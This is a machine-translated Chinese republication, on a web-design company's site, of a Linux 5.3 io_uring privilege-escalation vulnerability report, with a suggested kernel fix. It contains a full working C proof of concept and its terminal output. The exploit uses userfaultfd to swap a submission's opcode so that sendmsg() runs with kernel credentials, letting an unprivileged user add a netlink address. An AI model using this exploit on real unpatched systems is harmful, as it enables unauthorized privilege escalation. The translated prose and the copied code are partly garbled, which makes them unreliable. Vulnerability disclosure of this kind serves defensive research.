网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

linux安全团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > linux安全 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

Linux 5.3-通过io_uring使用内核Creds将sendmsg()卸载到内核线程上来进行特权升级

文章来源:重庆网站建设 发布时间:2019-12-19 10:04:08 围观次数:
分享到:

摘要:Linux 5 3-通过io_uring使用内核Creds将sendmsg()卸载到内核线程上来进行特权升级

因为提交0fa03c624d8f(“io_uring: add support for sendmsg()”,第一个在v5.3中),

io_uring支持异步调用sendmsg()。

非特权用户空间任务可以提交IORING_OP_SENDMSG提交队列条目,这将导致在原始任务的syscall上下文中调用sendmsg(),或者——如果不能在不阻塞的情况下发送消息——在内核工作线程上调用sendmsg()。

问题是sendmsg()可能会出于各种原因查看调用任务的凭据;例如:

- sendmsg()非空、非抽象-未连接的AF_UNIX数据报套接字上的>msg_name最后执行文件系统访问检查

-在AF_UNIX套接字上使用SCM_CREDENTIALS的sendmsg()最终会查看进程凭证

- sendmsg()非空- AF_NETLINK套接字上的>msg_name最后对调用进程执行性能检查

当请求被传递给内核工作人员任务时,所有这些检查都是针对工作人员的凭证执行的——这些凭证是默认的内核信誉,具有UID 0和完整的功能。

迫使io_uring手请求内核工作线程,攻击者可以滥用这一事实的操作码字段SQE多次读取,访问之间的struct msghdr:攻击者可以先提交一个IORING_OP_RECVMSG类型的SQE的struct msghdr userfaultfd区域,然后,userfaultfd触发时,开关IORING_OP_SENDMSG的类型。


下面是Linux 5.3的一个复制器,它通过添加一个没有所需特权的环回接口的IPv4地址:

$ cat uring_sendmsg.c #define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SYSCHK(x) ({          \
  typeof(x) __res = (x);      \
  if (__res == (typeof(x))-1) \
    err(1, "SYSCHK(" #x ")"); \
  __res;                      \})static int uffd = -1;static struct iovec *iov;static struct iovec real_iov;static struct io_uring_sqe *sqes;static void *uffd_thread(void *dummy) {
  struct uffd_msg msg;
  int res = SYSCHK(read(uffd, &msg, sizeof(msg)));
  if (res != sizeof(msg)) errx(1, "uffd read");
  printf("got userfaultfd message\n");
  sqes[0].opcode = IORING_OP_SENDMSG;
  union {
    struct iovec iov;
    char pad[0x1000];
  } vec = {
    .iov = real_iov
  };
  struct uffdio_copy copy = {
    .dst = (unsigned long)iov,
    .src = (unsigned long)&vec,
    .len = 0x1000
  };
  SYSCHK(ioctl(uffd, UFFDIO_COPY, &copy));
  return NULL;}int main(void) {
  // initialize uring
  struct io_uring_params params = { };
  int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, &params));
  unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
  unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
  sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
  // prepare userfaultfd-trapped IO vector page
  iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));
  uffd = SYSCHK(syscall(SYS_userfaultfd, 0));
  struct uffdio_api api = { .api = UFFD_API, .features = 0 };
  SYSCHK(ioctl(uffd, UFFDIO_API, &api));
  struct uffdio_register reg = {
    .mode = UFFDIO_REGISTER_MODE_MISSING,
    .range = { .start = (unsigned long)iov, .len = 0x1000 }
  };
  SYSCHK(ioctl(uffd, UFFDIO_REGISTER, &reg));
  pthread_t thread;
  if (pthread_create(&thread, NULL, uffd_thread, NULL))
    errx(1, "pthread_create");
  // construct netlink message
  int sock = SYSCHK(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE));
  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK
  };
  struct {
    struct nlmsghdr hdr;
    struct ifaddrmsg body;
    struct rtattr opthdr;
    unsigned char addr[4];
  } __attribute__((packed)) msgbuf = {
    .hdr = {
      .nlmsg_len = sizeof(msgbuf),
      .nlmsg_type = RTM_NEWADDR,
      .nlmsg_flags = NLM_F_REQUEST
    },
    .body = {
      .ifa_family = AF_INET,
      .ifa_prefixlen = 32,
      .ifa_flags = IFA_F_PERMANENT,
      .ifa_scope = 0,
      .ifa_index = 1
    },
    .opthdr = {
      .rta_len = sizeof(struct rtattr) + 4,
      .rta_type = IFA_LOCAL
    },
    .addr = { 1, 2, 3, 4 }
  };
  real_iov.iov_base = &msgbuf;
  real_iov.iov_len = sizeof(msgbuf);
  struct msghdr msg = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = iov,
    .msg_iovlen = 1,
  };
  // send netlink message via uring
  sqes[0] = (struct io_uring_sqe) {
    .opcode = IORING_OP_RECVMSG,
    .fd = sock,
    .addr = (unsigned long)&msg
  };
  ((int*)(sq_ring + params.sq_off.array))[0] = 0;
  (*(int*)(sq_ring + params.sq_off.tail))++;
  int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
  printf("submitted %d, getevents done\n", submitted);
  int cq_tail = *(int*)(cq_ring + params.cq_off.tail);
  printf("cq_tail = %d\n", cq_tail);
  if (cq_tail != 1) errx(1, "expected cq_tail==1");
  struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes);
  if (cqe->res res, strerror(-cqe->res));
  } else {
    printf("result: %d\n", cqe->res);
  }}$ gcc -Wall -pthread -o uring_sendmsg uring_sendmsg.c$ ip addr show dev lo1: lo:  mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever$ ./uring_sendmsg got userfaultfd messagesubmitted 1, getevents donecq_tail = 1result: 32$ ip addr show dev lo1: lo:  mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet 1.2.3.4/32 scope global lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever$

在我看来,解决这个问题最简单的方法可能会抓住一个参考给调用者的凭证与get_current_cred io_uring_create()的(),然后让所有内核线程的入口代码永久安装这些作为主观的凭证与override_creds ()。

(或者commit_creds()——这意味着您实际上可以在诸如“ps aux”之类的输出中看到这些线程的所有者用户。另一方面,我不确定这会如何影响信号发送,所以override_creds()可能更安全。)这意味着您不能安全地跨setuid()之类的转换使用io_uring实例,这会降低特权,但这可能不是大问题吧?虽然安全漏洞只是由IORING_OP_SENDMSG的添加引入的,马克这种改变可能有利于补丁到v5.1中,当io_uring补充说,我认为如SELinux钩从rw_verify_area叫做()到目前为止一直认为所有的I / O操作内核上下文,这并不是一个真正的安全问题,但可能会如导致意想不到的否认根据SELinux策略。


本文由 重庆网站建设 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:Linux 5 3 io_uring Creds sendmsg 内核线程 特权升级

上一篇:KVMSEC:Linux内核虚拟机的安全扩展
下一篇:各种漏洞环境的靶场平台Vulnhub,靶机名称:Os-Bytesec

热门资讯

鼠标向下滚动